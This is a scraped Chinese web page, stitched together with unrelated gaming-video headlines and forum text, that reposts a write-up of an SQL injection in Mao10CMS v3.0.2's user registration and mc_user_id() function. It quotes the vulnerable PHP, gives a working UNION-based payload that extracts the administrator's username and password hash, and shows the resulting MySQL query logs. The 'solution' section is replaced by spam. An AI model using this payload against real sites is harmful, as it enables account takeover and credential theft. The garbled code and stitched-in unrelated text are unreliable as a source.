拍大师注入meta失败什么意思?

为毛我不能开启拍大师悬浮窗口 - 第7区视频 - 爱拍原创Mao10CMS v3.0.2 一处有趣的sql注入。 - 网站安全 - 红黑联盟
Mao10CMS v3.0.2 一处有趣的sql注入。
用户注册处。
public function submit(){
$ip_false = M('option')-&where(&meta_key='ip_false' AND type='user'&)-&getField('meta_value',true);
if($ip_false && in_array(mc_user_ip(), $ip_false)) {
$this-&error('您的IP被永久禁止登陆!');
if(empty($_POST['user_name'])) {
$this-&error('账号必须填写!');
$user_login = M('meta')-&where(&meta_key='user_name' AND type ='user'&)-&getField('meta_value',true);
if(in_array(strip_tags($_POST['user_name']), $user_login)) {
$this-&error('账号已存在!');
if(empty($_POST['user_email'])) {
$this-&error('邮箱必须填写!');
$user_email = M('meta')-&where(&meta_key='user_email' AND type ='user'&)-&getField('meta_value',true);
if(in_array(strip_tags($_POST['user_email']), $user_email)) {
$this-&error('邮箱已存在!');
if(empty($_POST['user_pass'])) {
$this-&error('密码必须填写!');
if($_POST['user_pass']!=$_POST['user_pass2']) {
$this-&error('两次密码必须一致!');
$user['title'] = I('param.user_name');
$user['content'] = '';
$user['type'] = 'user';
$user['date'] = strtotime(&now&);
$result = M(&page&)-&data($user)-&add();
if($result) {
mc_add_meta($result,'user_name',I('param.user_name'),'user');
$user_pass = md5(I('param.user_pass').mc_option('site_key'));
mc_add_meta($result,'user_pass',$user_pass,'user');
mc_add_meta($result,'user_email',I('param.user_email'),'user');
mc_add_meta($result,'user_level','1','user');
session('user_name',I('param.user_name'));
session('user_pass',$user_pass);
$ip_array = M('action')-&where(&page_id='&.mc_user_id().&' AND action_key='ip'&)-&getField('action_value',true);
if($ip_array && in_array(mc_user_ip(), $ip_array)) {
if(!mc_is_admin()) {
mc_add_action(mc_user_id(),'ip',mc_user_ip());
if($_POST['comefrom']) {
$this-&success('注册成功',$_POST['comefrom']);
$this-&success('注册成功',U('user/index/edit?id='.mc_user_id()));
$this-&error('注册失败');
当用户名带入单引号时,虽然添加用户进入数据库时做了转义,但是赋值于session时又被带入了
session('user_name',I('param.user_name'));
然后我们来看看这个函数mc_user_id()
/Application/Common/Common/function.php
function mc_user_id() {
$page_id = M('meta')-&where(&meta_key='user_name' AND meta_value='&.session('user_name').&' AND type='user'&)-&getField('page_id');
$user_pass_true = mc_get_meta($page_id,'user_pass',true,'user');
if(session('user_name') && session('user_pass') && session('user_pass') == $user_pass_true) {
return $page_
这就到了这个比较有意思的地方了、由于不能报错 所以我们得让数据出现在$page_id。(延时太过麻烦 至少得注册几百个账户。。所以就不考虑了) 现在 session('user_name')是我们所能控制的,且能带入单引号。
我们要让这个 $page_id 包含管理员的账户密码,同时也能通过mc_get_meta($page_id,'user_pass',true,'user'); 返回出正确的密码。同时 $page_id是由我们所能控制的user_name 通过 M('meta')-&where(&meta_key='user_name' AND meta_value='&.session('user_name').&' AND type='user'&)-&getField('page_id');返回的。听起来有点绕口~
直接看利用代码和mysql日志吧~
' or meta_value%3D'admin') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1))),'\' or page_id=\'14')%23
(14是 注册id。先注册一个获取id。注入时在这个id加上1即可)
首先添加账户进入时是没问题的。做了转义
INSERT INTO `mc_page` (`title`,`content`,`type`,`date`) VALUES ('\' or meta_value=\'admin\') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key=\'user_name\' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key=\'user_pass\' and page_id=1))),\'\\\' or page_id=\\\'14\')#','','user',)
397 QueryINSERT INTO `mc_meta` (`page_id`,`meta_key`,`meta_value`,`type`) VALUES (14,'user_name','\' or meta_value=\'admin\') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key=\'user_name\' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key=\'user_pass\' and page_id=1))),\'\\\' or page_id=\\\'14\')#','user')
然后 带入 mc_user_id()函数时
$page_id = M('meta')-&where(&meta_key='user_name' AND meta_value='&.session('user_name').&' AND type='user'&)-&getField('page_id');
SELECT `page_id` FROM `mc_meta` WHERE ( meta_key='user_name' AND meta_value='' or meta_value='admin') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1))),'\' or page_id=\'14')#' AND type='user' ) LIMIT 1
此时 我们的$page_id 将返回
admin\0d4c7cf4fa2aba8f8564c' or page_id='14
然后 $user_pass_true = mc_get_meta($page_id,'user_pass',true,'user');
397 QuerySELECT `meta_value` FROM `mc_meta` WHERE ( page_id='admin\0d4c7cf4fa2aba8f8564c' or page_id='14' AND meta_key='user_pass' AND type ='user' ) LIMIT 1
此时 返回的user_pass 就等于 我们session所对应的user_pass了。于是 将数据
admin\0d4c7cf4fa2aba8f8564c' or page_id='14
返回 造成了注入
解决方案:阿春生化日记:房间惊现神bug!吓尿! - 生死狙击视频 - 爱拍原创冷兄说:这是什么情况?闹鬼?漏洞?! - 生死狙击视频 - 爱拍原创【圣安地列斯】:蛋疼的拍大师! - 侠盗飞车视频 - 爱拍原创}

我要回帖

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信